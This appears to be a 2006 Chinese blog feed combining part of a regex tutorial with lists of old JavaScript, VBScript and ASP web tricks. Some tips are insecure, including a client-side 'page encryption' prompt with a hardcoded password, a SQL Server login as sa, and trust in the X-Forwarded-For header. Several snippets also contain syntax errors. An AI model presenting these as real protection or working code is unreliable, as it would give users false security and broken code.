		<p>要匹配一行文字开始位置的文字，请在正则表达式的开始处使用 '^' 字符。不要把 '^' 的这个语法与其在括号表达式中的语法弄混。它们的语法根本不同。 </p>
		<p>要匹配一行文字结束位置的文字，请在正则表达式的结束处使用 '$' 字符。</p>
		<p>要在查找章节标题时使用定位符，下面的 Visual Basic scripting Edition 正则表达式将匹配位于一行的开始处最多有两个数字的章节标题：</p>
		<p>/^Chapter [1-9][0-9]{0,1}/</p>
		<p>VBscript 中相同功能的正则表达式如下：</p>
		<p>"^Chapter [1-9][0-9]{0,1}"</p>
		<p>一个真正的章节标题不仅出现在一行的开始，而且这一行中也仅有这一个内容，因此，它必然也位于一行的结束。下面的表达式确保所指定的匹配只匹配章节而不会匹配交叉引用。它是通过创建一个只匹配一行文字的开始和结束位置的正则表达式来实现的。</p>
		<p>/^Chapter [1-9][0-9]{0,1}$/</p>
		<p>对 VBscript 则使用：</p>
		<p>"^Chapter [1-9][0-9]{0,1}$"</p>
		<p>匹配单词边界有少许不同，但却给正则表达式增加了一个非常重要的功能。单词边界就是单词和空格之间的位置。非单词边界就是其他任何位置。下面的 Visual Basic scripting Edition 表达式将匹配单词 'Chapter' 的前三个字符，因为它们出现在单词边界后：</p>
		<p>/\bCha/</p>
		<p>对 VBscript 为：</p>
		<p>"\bCha"</p>
		<p>这里 '\b' 操作符的位置很关键。如果它位于要匹配的字符串的开始，则将查找位于单词开头处的匹配；如果它位于改字符串的末尾，则查找位于单词结束处的匹配。例如，下面的表达式将匹配单词 'Chapter' 中的 'ter'，因为它出现在单词边界之前：</p>
		<p>/ter\b/</p>
		<p>以及</p>
		<p>"ter\b"</p>
		<p>下面的表达式将匹配 'apt'，因为它位于 'Chapter' 中间，但不会匹配 'aptitude' 中的'apt'：</p>
		<p>/\Bapt/</p>
		<p>以及</p>
		<p>"\Bapt"</p>
		<p>这是因为在单词 'Chapter' 中 'apt' 出现在非单词边界位置，而在单词 'aptitude' 中位于单词边界位置。非单词边界操作符的位置不重要，因为匹配与一个单词的开头或结尾无关。 </p>
		<p> </p>
		<p>选择与编组</p>
		<p>选择允许使用 '|' 字符来在两个或多个候选项中进行选择。通过扩展章节标题的正则表达式，可以将其扩充为不仅仅适用于章节标题的表达式。不过，这可没有想象的那么直接。在使用选择时，将匹配'|' 字符每边最可能的表达式。你可能认为下面的 Visual Basic scripting Edition 和 VBscript 表达式将匹配位于一行的开始和结束位置且后跟一个或两个数字的 'Chapter' 或 'Section'：</p>
		<p>/^Chapter|Section [1-9][0-9]{0,1}$/<br />"^Chapter|Section [1-9][0-9]{0,1}$"</p>
		<p>不幸的是，真正的情况是上面所示的正则表达式要么匹配位于一行开始处的单词 'Chapter'，要么匹配一行结束处的后跟任何数字的 'Section'。如果输入字符串为 'Chapter 22'，上面的表达式将只匹配单词 'Chapter'。如果输入字符串为 'Section 22'，则该表达式将匹配 'Section 22'。但这种结果不是我们此处的目的，因此必须有一种办法来使正则表达式对于所要做的更易于响应，而且确实也有这种方法。</p>
		<p>可以使用圆括号来限制选择的范围，也就是说明确该选择只适用于这两个单词 'Chapter' 和 'Section'。不过，圆括号同样也是难处理的，因为它们也用来创建子表达式，有些内容将在后面关于子表达式的部分介绍。通过采用上面所示的正则表达式并在适当位置添加圆括号，就可以使该正则表达式既可以匹配 'Chapter 1'，也可以匹配 'Section 3'。 </p>
		<p>下面的正则表达式使用圆括号将 'Chapter' 和 'Section' 组成一组，所以该表达式才能正确工作。对 Visual Basic scripting Edition 为：</p>
		<p>/^(Chapter|Section) [1-9][0-9]{0,1}$/</p>
		<p>对 VBscript 为：</p>
		<p>"^(Chapter|Section) [1-9][0-9]{0,1}$"</p>
		<p>这些表达式工作正确，只是产生了一个有趣的副产品。在 'Chapter|Section' 两边放置圆括号建立了适当的编组，但也导致两个待匹配单词之一都被捕获供今后使用。由于在上面所示的表达式中只有一组圆括号，因此只能有一个捕获的 submatch。可以使用 VBscript 的Submatches 集合或者Visual Basic scripting Edition 中RegExp 对象的 $1-$9 属性来引用这个子匹配。</p>
		<p>有时捕获一个子匹配是所希望的，有时则是不希望的。在说明所示的示例中，真正想做的就是使用圆括号对单词 'Chapter' 或 'Section' 之间的选择编组。并不希望在后面再引用该匹配。实际上，除非真的是需要捕获子匹配，否则请不要使用。由于不需要花时间和内存来存储那些子匹配，这种正则表达式的效率将更高。</p>
		<p>可以在正则表达式模式圆括号内部的前面使用 '?:'来防止存储该匹配供今后使用。对上面所示正则表达式的下述修改提供了免除子匹配存储的相同功能。对 Visual Basic scripting Edition：</p>
		<p>/^(?:Chapter|Section) [1-9][0-9]{0,1}$/</p>
		<p>对 VBscript：</p>
		<p>"^(?:Chapter|Section) [1-9][0-9]{0,1}$"</p>
		<p>除了 '?:' 元字符，还有两个非捕获元字符用于称之为预查的匹配。一个为正向预查，用 ?= 表示， 在任何开始匹配圆括号内的正则表达式模式的位置来匹配搜索字符串。一个为负向预查，用 '?!' 表示，在任何开始不匹配该正则表达式模式的位置来匹配搜索字符串。</p>
		<p>例如，假定有一个包含引用有 Windows 3.1、Windows 95、Windows 98 以及 Windows NT 的文档。进一步假设需要更新该文档，方法是查找所有对 Windows 95、Windows 98 以及 Windows NT 的引用，并将这些引用更改为 Windows 2000。可以使用下面的 Visual Basic scripting Edition 正则表达式，这是一个正向预查，来匹配 Windows 95、Windows 98 以及 Windows NT：</p>
		<p>/Windows(?=95 |98 |NT )/</p>
		<p>在 VBscript 要进行同样的匹配可以使用下述表达式：</p>
		<p>"Windows(?=95 |98 |NT )"</p>
		<p>找到一个匹配后，紧接匹配到的文字（而不包括预查中使用的字符）就开始对下一次匹配的搜索。例如，如果上面所示的表达式匹配到 'Windows 98'，则将从 'Windows' 而不是 '98' 之后继续查找。 <br /></p>
<img src ="http://www.blogjava.net/jackywjj/aggbug/67303.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/jackywjj/" target="_blank">jacky wu</a> 2006-09-02 20:12 <a href="http://www.blogjava.net/jackywjj/articles/67303.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>js多种用法</title><link>http://www.blogjava.net/jackywjj/articles/67302.html</link><dc:creator>jacky wu</dc:creator><author>jacky wu</author><pubDate>Sat, 02 Sep 2006 12:11:00 GMT</pubDate><guid>http://www.blogjava.net/jackywjj/articles/67302.html</guid><wfw:comment>http://www.blogjava.net/jackywjj/comments/67302.html</wfw:comment><comments>http://www.blogjava.net/jackywjj/articles/67302.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/jackywjj/comments/commentRss/67302.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/jackywjj/services/trackbacks/67302.html</trackback:ping><description><![CDATA[
		<p>1. oncontextmenu="window.event.returnvalue=false" 将彻底屏蔽鼠标右键<br />&lt;table border oncontextmenu=return(false)&gt;&lt;td&gt;no&lt;/table&gt; 可用于Table <br />2. &lt;body onselectstart="return false"&gt; 取消选取、防止复制</p>
		<p>3. onpaste="return false" 不准粘贴</p>
		<p>4. oncopy="return false;" oncut="return false;" 防止复制</p>
		<p>5. &lt;link rel="Shortcut Icon" href="favicon.ico"&gt; IE地址栏前换成自己的图标</p>
		<p>6. &lt;link rel="Bookmark" href="favicon.ico"&gt; 可以在收藏夹中显示出你的图标</p>
		<p>7. &lt;input style="ime-mode:disabled"&gt; 关闭输入法</p>
		<p>8. 永远都会带着框架<br />&lt;script language="javascript"&gt;&lt;!--<br />if (window == top)top.location.href = "frames.htm"; //frames.htm为框架网页<br />// --&gt;&lt;/script&gt;</p>
		<p>9. 防止被人frame<br />&lt;SCRIPT LANGUAGE=javascript&gt;&lt;!-- <br />if (top.location != self.location)top.location=self.location;<br />// --&gt;&lt;/SCRIPT&gt;</p>
		<p>10. &lt;noscript&gt;&lt;iframe src=*.html&gt;&lt;/iframe&gt;&lt;/noscript&gt; 网页将不能被另存为</p>
		<p>11. &lt;input type=button value=查看网页源代码 <br />onclick="window.location = 'view-source:'+ 'http://www.csdn.net/'"&gt;</p>
		<p>12. 怎样通过asp的手段来检查来访者是否用了代理<br />&lt;% if Request.ServerVariables("HTTP_X_FORWARDED_FOR")&lt;&gt;"" then<br />response.write "&lt;font color=#FF0000&gt;您通过了代理服务器，"&amp; _<br />"真实的IP为"&amp;Request.ServerVariables("HTTP_X_FORWARDED_FOR")<br />end if<br />%&gt;</p>
		<p>13. 取得控件的绝对位置</p>
		<p>//javascript<br />&lt;script language="javascript"&gt;<br />function getIE(e){<br />var t=e.offsetTop;<br />var l=e.offsetLeft;<br />while(e=e.offsetParent){<br />t+=e.offsetTop;<br />l+=e.offsetLeft;<br />}<br />alert("top="+t+"\nleft="+l);<br />}<br />&lt;/script&gt;</p>
		<p>//VBScript<br />&lt;script language="VBScript"&gt;&lt;!--<br />function getIE()<br />dim t,l,a,b<br />set a=document.all.img1<br />t=document.all.img1.offsetTop<br />l=document.all.img1.offsetLeft<br />while a.tagName&lt;&gt;"BODY"<br />set a = a.offsetParent<br />t=t+a.offsetTop<br />l=l+a.offsetLeft<br />wend<br />msgbox "top="&amp;t&amp;chr(13)&amp;"left="&amp;l,64,"得到控件的位置"<br />end function<br />--&gt;&lt;/script&gt;</p>
		<p>14. 光标是停在文本框文字的最后<br />&lt;script language="javascript"&gt;<br />function cc()<br />{<br />var e = event.srcElement;<br />var r =e.createTextRange();<br />r.moveStart('character',e.value.length);<br />r.collapse(true);<br />r.select();<br />}<br />&lt;/script&gt;<br />&lt;input type=text name=text1 value="123" onfocus="cc()"&gt;</p>
		<p>15. 判断上一页的来源<br />asp:<br />request.servervariables("HTTP_REFERER")</p>
		<p>javascript:<br />document.referrer</p>
		<p>16. 最小化、最大化、关闭窗口<br />&lt;object id=hh1 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; <br />&lt;param name="Command" value="Minimize"&gt;&lt;/object&gt;<br />&lt;object id=hh2 classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt; <br />&lt;param name="Command" value="Maximize"&gt;&lt;/object&gt;<br />&lt;OBJECT id=hh3 classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt;<br />&lt;PARAM NAME="Command" value="Close"&gt;&lt;/OBJECT&gt;</p>
		<p>&lt;input type=button value=最小化 onclick=hh1.Click()&gt;<br />&lt;input type=button value=最大化 onclick=hh2.Click()&gt;<br />&lt;input type=button value=关闭 onclick=hh3.Click()&gt;<br />本例适用于IE</p>
		<p>17. <br />&lt;%<br />'定义数据库连接的一些常量<br />Const adOpenForwardOnly = 0 '游标只向前浏览记录，不支持分页、Recordset、BookMark<br />Const adOpenKeyset = 1 '键集游标，其他用户对记录说做的修改将反映到记录集中，但其他用户增加或删除记录不会反映到记录集中。支持分页、Recordset、BookMark<br />Const adOpenDynamic = 2 '动态游标功能最强，但耗资源也最多。用户对记录说做的修改，增加或删除记录都将反映到记录集中。支持全功能浏览(ACCESS不支持)。<br />Const adOpenStatic = 3 '静态游标，只是数据的一个快照，用户对记录说做的修改，增加或删除记录都不会反映到记录集中。支持向前或向后移动</p>
		<p>Const adLockReadOnly = 1 '锁定类型，默认的，只读，不能作任何修改<br />Const adLockPessimistic = 2 '当编辑时立即锁定记录，最安全的方式<br />Const adLockOptimistic = 3 '只有在调用Update方法时才锁定记录集，而在此前的其他操作仍可对当前记录进行更改、插入和删除等<br />Const adLockBatchOptimistic = 4 '当编辑时记录不会被锁定，而更改、插入和删除是在批处理方式下完成的</p>
		<p>Const adCmdText = &amp;H0001<br />Const adCmdTable = &amp;H0002<br />%&gt;</p>
		<p>18. 网页不会被缓存<br />HTM网页<br />&lt;META HTTP-EQUIV="pragma" CONTENT="no-cache"&gt;<br />&lt;META HTTP-EQUIV="Cache-Control" CONTENT="no-cache, must-revalidate"&gt;<br />&lt;META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"&gt;<br />或者&lt;META HTTP-EQUIV="expires" CONTENT="0"&gt;<br />ASP网页<br />Response.Expires = -1<br />Response.ExpiresAbsolute = Now() - 1<br />Response.cachecontrol = "no-cache"<br />PHP网页<br />header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");<br />header("Cache-Control: no-cache, must-revalidate");<br />header("Pragma: no-cache");</p>
		<p>19. 检查一段字符串是否全由数字组成<br />&lt;script language="javascript"&gt;&lt;!--<br />function checkNum(str){return str.match(/\D/)==null}<br />alert(checkNum("1232142141"))<br />alert(checkNum("123214214a1"))<br />// --&gt;&lt;/script&gt;</p>
		<p>20. 获得一个窗口的大小<br />document.body.clientWidth,document.body.clientHeight</p>
		<p>21. 怎么判断是否是字符<br />if (/[^\x00-\xff]/g.test(s)) alert("含有汉字");<br />else alert("全是字符");</p>
		<p>22.TEXTAREA自适应文字行数的多少<br />&lt;textarea rows=1 name=s1 cols=27 onpropertychange="this.style.posHeight=this.scrollHeight"&gt;<br />&lt;/textarea&gt;</p>
		<p>23. 日期减去天数等于第二个日期<br />&lt;script language=javascript&gt;<br />function cc(dd,dadd)<br />{<br />//可以加上错误处理<br />var a = new Date(dd)<br />a = a.valueOf()<br />a = a - dadd * 24 * 60 * 60 * 1000<br />a = new Date(a)<br />alert(a.getFullYear() + "年" + (a.getMonth() + 1) + "月" + a.getDate() + "日")<br />}<br />cc("12/23/2002",2)<br />&lt;/script&gt;</p>
		<p>24. 选择了哪一个Radio<br />&lt;HTML&gt;&lt;script language="vbscript"&gt;<br />function checkme()<br />for each ob in radio1<br />if ob.checked then window.alert ob.value<br />next<br />end function<br />&lt;/script&gt;&lt;BODY&gt;<br />&lt;INPUT name="radio1" type="radio" value="style" checked&gt;Style<br />&lt;INPUT name="radio1" type="radio" value="barcode"&gt;Barcode<br />&lt;INPUT type="button" value="check" onclick="checkme()"&gt;<br />&lt;/BODY&gt;&lt;/HTML&gt;</p>
		<p>25.获得本页url的request.servervariables("")集合<br />Response.Write "&lt;TABLE border=1&gt;&lt;!-- Table Header --&gt;&lt;TR&gt;&lt;TD&gt;&lt;B&gt;Variables&lt;/B&gt;&lt;/TD&gt;&lt;TD&gt;&lt;B&gt;value&lt;/B&gt;&lt;/TD&gt;&lt;/TR&gt;"<br />for each ob in Request.ServerVariables<br />Response.Write "&lt;TR&gt;&lt;TD&gt;"&amp;ob&amp;"&lt;/TD&gt;&lt;TD&gt;"&amp;Request.ServerVariables(ob)&amp;"&lt;/TD&gt;&lt;/TR&gt;"<br />next<br />Response.Write "&lt;/TABLE&gt;"</p>
		<p>26.<br />本机ip&lt;%=request.servervariables("remote_addr")%&gt;<br />服务器名&lt;%=Request.ServerVariables("SERVER_NAME")%&gt;<br />服务器IP&lt;%=Request.ServerVariables("LOCAL_ADDR")%&gt;<br />服务器端口&lt;%=Request.ServerVariables("SERVER_PORT")%&gt;<br />服务器时间&lt;%=now%&gt;<br />IIS版本&lt;%=Request.ServerVariables"SERVER_SOFTWARE")%&gt;<br />脚本超时时间&lt;%=Server.ScriptTimeout%&gt;<br />本文件路径&lt;%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%&gt;<br />服务器CPU数量&lt;%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%&gt;<br />服务器解译引擎&lt;%=ScriptEngine &amp; "/"&amp; ScriptEngineMajorVersion &amp;"."&amp;ScriptEngineMinorVersion&amp;"."&amp; ScriptEngineBuildVersion %&gt;<br />服务器操作系统&lt;%=Request.ServerVariables("OS")%&gt;</p>
		<p>27.ENTER键可以让光标移到下一个输入框<br />&lt;input onkeydown="if(event.keyCode==13)event.keyCode=9"&gt;</p>
		<p>28. 检测某个网站的链接速度：<br />把如下代码加入&lt;body&gt;区域中:<br />&lt;script language=javascript&gt;<br />tim=1<br />setInterval("tim++",100)<br />b=1</p>
		<p>var autourl=new Array()<br />autourl[1]="<a href="http://www.njcatv.net">www.njcatv.net</a>"<br />autourl[2]="javacool.3322.net"<br />autourl[3]="<a href="http://www.sina.com.cn">www.sina.com.cn</a>"<br />autourl[4]="<a href="http://www.nuaa.edu.cn">www.nuaa.edu.cn</a>"<br />autourl[5]="<a href="http://www.cctv.com">www.cctv.com</a>"</p>
		<p>function butt(){<br />document.write("&lt;form name=autof&gt;")<br />for(var i=1;i&lt;autourl.length;i++)<br />document.write("&lt;input type=text name=txt"+i+" size=10 value=测试中……&gt; =》&lt;input type=text name=url"+i+" size=40&gt; =》&lt;input type=button value=GO onclick=window.open(this.form.url"+i+".value)&gt;&lt;br/&gt;")<br />document.write("&lt;input type=submit value=刷新&gt;&lt;/form&gt;")<br />}<br />butt()<br />function auto(url){<br />document.forms[0]["url"+b].value=url<br />if(tim&gt;200)<br />{document.forms[0]["txt"+b].value="链接超时"}<br />else<br />{document.forms[0]["txt"+b].value="时间"+tim/10+"秒"}<br />b++<br />}<br />function run(){for(var i=1;i&lt;autourl.length;i++)document.write("&lt;img src=http://"+autourl[i]+"/"+Math.random()+" width=1 height=1 onerror=auto('http://";+autourl[i]+"')&gt;")}<br />run()&lt;/script&gt;</p>
		<p>29. 各种样式的光标<br />auto ：标准光标<br />default ：标准箭头<br />hand ：手形光标<br />wait ：等待光标<br />text ：I形光标<br />vertical-text ：水平I形光标<br />no-drop ：不可拖动光标<br />not-allowed ：无效光标<br />help ：?帮助光标<br />all-scroll ：三角方向标<br />move ：移动标<br />crosshair ：十字标<br />e-resize<br />n-resize<br />nw-resize<br />w-resize<br />s-resize<br />se-resize<br />sw-resize</p>
		<p> </p>
		<p>
				<br />1.本地无缓存，每次自动刷新<br />response.expires=0<br />response.addHeader pragma , no-cache<br />response.addHeader cache-control , private</p>
		<p>2.修改contentType并下载gif等格式<br />&lt;%<br />function dl(f,n)<br />on error resume next</p>
		<p>set s=CreateObject(Adodb.Stream) <br />S.Mode=3 <br />S.Type=1 <br />S.Open <br />s.LoadFromFile(server.mappath(f))<br />if err.number&gt;0 then <br />  response.write err.number &amp; : &amp; err.description<br />else<br />  response.contentType=application/x-gzip<br />  response.addheader Content-Disposition:,attachment; filename= &amp; n<br />  response.binarywrite(s.Read(s.size))<br />end if<br />end function</p>
		<p>call dl(012922501.gif,t1.gif)<br />%&gt;</p>
		<p> </p>
		<p>1。忽视右键 <br />　&lt;body oncontextmenu="return false"&gt; <br />　或 <br />　&lt;body style="overflow-y:hidden"&gt; <br />2。加入背景音乐 <br />　IE:&lt;bgsound src="*.mid" loop=infinite&gt; <br />　NS:&lt;embed src="*.mid" autostart=true hidden=true loop=true&gt; <br />　&lt;/embed&gt; <br />　*.mid你的背景音乐的midi格式文件 <br />3。简单的window.open方法 <br />　&lt;a href="#" <br />　onclick="javascript:window.open(文件路径/文件名,newwindow, <br />　toolbar=no,scrollbars=yes,resizable=no,top=0,left=0, <br />　width=400,height=300);"&gt;文字或图片&lt;/a&gt; <br />　参数解释： <br />　&lt;SCRIPT LANGUAGE="javascript"&gt; js脚本开始； <br />　window.open 弹出新窗口的命令； <br />　文件路径/文件名 弹出窗口的文件名； <br />　newwindow 弹出窗口的名字（不是文件名），非必须，可用空代替； <br />　width=400 窗口宽度； <br />　height=300 窗口高度； <br />　top=0 窗口距离屏幕上方的象素值； <br />　left=0 窗口距离屏幕左侧的象素值； <br />　toolbar=no 是否显示工具栏，yes为显示； <br />　menubar，scrollbars 表示菜单栏和滚动栏。 <br />　resizable=no 是否允许改变窗口大小，yes为允许； <br />　location=no 是否显示地址栏，yes为允许； <br />　status=no 是否显示状态栏内的信息（通常是文件已经打开），yes为允许； <br />　&lt;/SCRIPT&gt; js脚本结束 <br />4。简单的页面加密 <br />　&lt;script LANGUAGE="javascript"&gt; <br />　&lt;!-- <br />　function loopy(){ <br />　　var sWord =""; <br />　　while(sWord!="login"){sWord=prompt("请输入你的登陆密码");} <br />　　alert("登陆成功！"); <br />　} <br />　loopy() <br />　//--&gt; <br />　&lt;/script&gt; <br />5。拉动页面时背景图不动 <br />　&lt;style&gt; <br />　body{background-image:url(logo.gif); <br />　background-repeat:no-repeat;background-position:center} <br />　&lt;/style&gt; <br />7。随机替换图片 <br />　&lt;script&gt; <br />　document.write(&lt;img src="img/+parseInt(Math.random()*(5)) <br />　+.gif"height="40" width="50"&gt;) <br />　&lt;/script&gt; <br />　图片文件名为0.gif 1.gif 2.gif 3.gif 4.gif <br />8。窗口定时关闭 <br />　先将如下代码网页文件的区： <br />　&lt;script language="javascript"&gt; <br />　function closeit() { setTimeout("self.close()",10000) //毫秒 } <br />　&lt;/script&gt; <br />　然后再在&lt;body&gt;标内加入如：&lt;body onload="closeit()"&gt; <br />9。网页自动关闭 <br />　&lt;html&gt; <br />　&lt;head&gt; <br />　&lt;object id=closes type="application/x-oleobject" <br />　classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt; <br />　&lt;param name="Command" value="Close"&gt; <br />　&lt;/object&gt; <br />　&lt;/head&gt; <br />　&lt;body onload="window.setTimeout(closes.Click(),10000)"&gt; <br />　这个窗口会在10秒过后自动关闭,而且不会出现提示. <br />　&lt;/body&gt; <br />　&lt;/html&gt; <br />10。网页自动刷新 <br />　在head部记入 <br />　&lt;META HTTP-EQUIV="Refresh" content="20"&gt; <br />　其中20为20秒后自动刷新，你可以更改为任意值。 <br />11。网页自动转页 <br />　&lt;META HTTP-EQUIV="Refresh" CONTENT="时间(秒);URL=地址"&gt; <br />12。保持layer在最前面，而不被Iframe、Object所覆盖 <br />　在Layer中再插Iframe 或 Object 设z-Index值 <br />　&lt;div z-Index:2&gt;&lt;object xxx&gt;&lt;/object&gt; ＃ 前面 <br />　&lt;div z-Index:1&gt;&lt;object xxx&gt;&lt;/object&gt; ＃ 后面 <br />　&lt;div id="Layer2" style="position:absolute; top:40;width:400px; <br />　height:95px;z-index:2"&gt; height=100% width=100%&gt; <br />　&lt;iframe width=0 height=0&gt;&lt;/iframe&gt; <br />　&lt;/div&gt; <br />　&lt;div id="Layer1" style="position:absolute; top:50;width:200px; <br />　height:115px;z-index:1"&gt; <br />　&lt;iframe height=100% width=100%&gt;&lt;/iframe&gt; <br />　&lt;/div&gt; <br />13。返回上一页 <br />　&lt;a href=javascript:history.back(1)&gt;『返回上一页』&lt;/a&gt; <br />14。关闭窗口 <br />　&lt;a href=javascript:self.close()&gt;『关闭窗口』&lt;/a&gt; <br />15。关于iframe的透明背景 <br />　&lt;IFRAME ID="iFrame1" SRC="iframe.htm" <br />　allowTransparency="true" <br />　style="background-color: green"&gt;&lt;/IFRAME&gt;</p>
		<p> </p>
		<p>
				<br />1.如何用Asp判断你的网站的虚拟物理路径 <br />答：使用Mappath方法 <br />&lt; p align="center" &gt;&lt; font size="4" face="Arial" &gt;&lt; b &gt; <br />The Physical path to this virtual website is: <br />&lt; /b &gt;&lt; /font &gt; <br />&lt; font color="#FF0000" size="6" face="Arial" &gt; <br />&lt; %= Server.MapPath("\")% &gt; <br />&lt; /font &gt;&lt; /p &gt; <br />2.我如何知道使用者所用的浏览器？ <br />答：使用the Request object方法 <br />strBrowser=Request.ServerVariables("HTTP_USER_AGENT") <br />If Instr(strBrowser,"MSIE") &lt; &gt; 0 Then <br />　　Response.redirect("ForMSIEOnly.htm") <br />Else <br />　　Response.redirect("ForAll.htm") <br />End If </p>
		<p>3.如何计算每天的平均反复访问人数 <br />答：解决方法 <br />&lt; % startdate=DateDiff("d",Now,"01/01/1990") <br />if strdate&lt; 0 then startdate=startdate*-1 <br />avgvpd=Int((usercnt)/startdate) % &gt; <br />显示结果 <br />&lt; % response.write(avgvpd) % &gt; <br />that is it.this page have been viewed since November 10,1998 </p>
		<p>4.如何显示随机图象 <br />&lt; % dim p,ppic,dpic <br />ppic=12 <br />randomize <br />p=Int((ppic*rnd)+1) <br />dpic="graphix/randompics/"&amp;p&amp;".gif" <br />% &gt; <br />显示 <br />&lt; img src="&lt; %=dpic% &gt;" &gt; </p>
		<p>5.如何回到先前的页面 <br />答：&lt; a href="&lt; %=request.serverVariables("Http_REFERER")% &gt;" &gt;preivous page&lt; /a &gt; <br />或用图片如：&lt; img src="arrowback.gif" alt="&lt; %=request.serverVariables("HTTP_REFERER")% &gt;" &gt; </p>
		<p>6.如何确定对方的IP地址 <br />答：&lt; %=Request.serverVariables("REMOTE_ADDR)% &gt; </p>
		<p>7.如何链结到一副图片上 <br />答：&lt; % @Languages=vb-script % &gt; <br />&lt; % response.expires=0 <br />strimagename="graphix/errors/erroriamge.gif" <br />response.redirect(strimagename) <br />% &gt; </p>
		<p>8.强迫输入密码对话框 <br />答：把这句话放载页面的开头 <br />&lt; % response.status="401 not Authorized" <br />response.end <br />% &gt; </p>
		<p>9.如何传递变量从一页到另一页 <br />答：用 HIDDEN 类型来传递变量 <br />&lt; % form method="post" action="mynextpage.asp" &gt; <br />&lt; % for each item in request.form % &gt; <br />&lt; input namee="&lt; %=item% &gt;" type="HIDDEN" <br />value="&lt; %=server.HTMLEncode(Request.form(item)) % &gt;" &gt; <br />&lt; % next % &gt; <br />&lt; /form &gt; </p>
		<p>10.为何我在 asp 程序内使用 msgbox，程序出错说没有权限 <br />答：由于 asp 是服务器运行的，如果可以在服务器显示一个对话框，那么你只好等有人按了确定之后，你的程序才能继续执行，而一般服务器不会有人守着，所以微软不得不禁止这个函数，并胡乱告诉你 (:) 呵呵) 没有权限。但是ASP和客户端脚本结合倒可以显示一个对话框，as follows: <br />&lt; % yourVar="测试对话框"% &gt; <br />&lt; % script language='java-script' &gt; <br />alert("&lt; %=yourvar% &gt;") <br />&lt; /script &gt; </p>
		<p>11.有没有办法保护自己的源代码，不给人看到 <br />答：可以去下载一个微软的Windows Script Encoder，它可以对asp的脚本和客户端java-script/vb-script脚本进行加密。。。不过客户端加密后，只有ie5才能执行，服务器端脚本加密后，只有服务器上安装有script engine 5（装一个ie5就有了）才能执行。 </p>
		<p>12.怎样才能将 query string 从一个 asp 文件传送到另一个？ <br />答：前者文件加入下句： Response.Redirect("second.asp?" &amp; Request.ServerVariables("QUERY_STRING")) </p>
		<p>13.global.asa文件总是不起作用? <br />答：只有web目录设置为web application, global.asa才有效，并且一个web application的根目录下 global.asa才有效。IIS4可以使用Internet Service Manager设置application setting 怎样才能使得htm文件如同asp文件一样可以执行脚本代码？ </p>
		<p>14.怎样才能使得htm文件如同asp文件一样可以执行脚本代码？ <br />答：Internet Sevices Manager - &gt; 选择default web site - &gt;右鼠键- &gt;菜单属性-〉主目录- &gt; 应用程序设置（Application Setting）- &gt; 点击按钮 "配置"- &gt; app mapping - &gt;点击按钮"Add" - &gt; executable browse选择 \WINNT\SYSTEM32\INETSRV\ASP.DLL EXTENSION 输入 htm method exclusions 输入PUT.DELETE 全部确定即可。但是值得注意的是这样对htm也要由asp.dll处理，效率将降低。 </p>
		<p>15.如何注册组件 <br />答：有两种方法。 <br />第一种方法：手工注册 DLL 这种方法从IIs 3.0一直使用到IIs 4.0和其它的Web Server。它需要你在命令行方式下来执行，进入到包含有DLL的目录，并输入：regsvr32 component_name.dll 例如 c:\temp\regsvr32 AspEmail.dll 它会把dll的特定信息注册入服务器中的注册表中。然后这个组件就可以在服务器上使用了，但是这个方法有一个缺陷。当使用这种方法注册完毕组件后，该组件必须要相应的设置NT的匿名帐号有权限执行这个dll。特别是一些组件需要读取注册表，所以，这个注册组件的方法仅仅是使用在服务器上没有MTS的情况下，要取消注册这个dll，使用：regsvr32 /u aspobject.dll example c:\temp\regsvr32 /u aneiodbc.dll </p>
		<p>第二种方法：使用MTS(Microsoft Transaction Server) MTS是IIS 4新增特色，但是它提供了巨大的改进。MTS允许你指定只有有特权的用户才能够访问组件，大大提高了网站服务器上的安全性设置。在MTS上注册组件的步骤如下： <br />1) 打开IIS管理控制台。 <br />2) 展开transaction server，右键单击"pkgs installed"然后选择"new package"。 <br />3) 单击"create an empty package"。 <br />4) 给该包命名。 <br />5) 指定administrator帐号或则使用"interactive"（如果服务器经常是使用administrator 登陆的话）。 <br />6) 现在使用右键单击你刚建立的那个包下面展开后的"components"。选择 "new then component"。 <br />7) 选择 "install new component" [b]。 <br />8) 找到你的.dll文件然后选择next到完成。 <br />要删除这个对象，只要选择它的图标，然后选择delete。 <br />附注：特别要注意第二种方法，它是用来调试自己编写组件的最好方法，而不必每次都需要重新启动机器了。 </p>
		<p>16. ASP与Access数据库连接： </p>
		<p>&lt;%@ language=vb-script%&gt; <br />&lt;% <br />dim conn,mdbfile <br />mdbfile=server.mappath("数据库名称.mdb") <br />set conn=server.createobject("adodb.connection") <br />conn.open "driver={microsoft access driver (*.mdb)};uid=admin;pwd=数据库密码;dbq="&amp;mdbfile </p>
		<p>%&gt; </p>
		<p>17. ASP与SQL数据库连接： </p>
		<p>&lt;%@ language=vb-script%&gt; <br />&lt;% <br />dim conn <br />set conn=server.createobject("ADODB.connection") <br />con.open "PROVIDER=SQLOLEDB;DATA SOURCE=SQL服务器名称或IP地址;UID=sa;PWD=数据库密码;DATABASE=数据库名称 <br />%&gt; </p>
		<p>建立记录集对象： </p>
		<p>set rs=server.createobject("adodb.recordset") <br />rs.open SQL语句,conn,3,2</p>
		<p> </p>
		<p>
				<br />　　3、页面摘入等待。。。。脚本说明:<br />　　把如下代码加入&lt;head&gt;区域中<br />　　&lt;SCRIPT LANGUAGE="JavaScript"&gt;<br />　　document.write("&lt;font size=6 color=blue face='楷体_GB2312'&gt;&lt;B&gt;正在载入首页,请稍等..&lt;/B&gt;&lt;/font&gt;");<br />　　window.clear;<br />　　window.location.href="<a href="http://www.ybfq.net">http://www.ybfq.net</a>";<br />　　&lt;/SCRIPT&gt; </p>
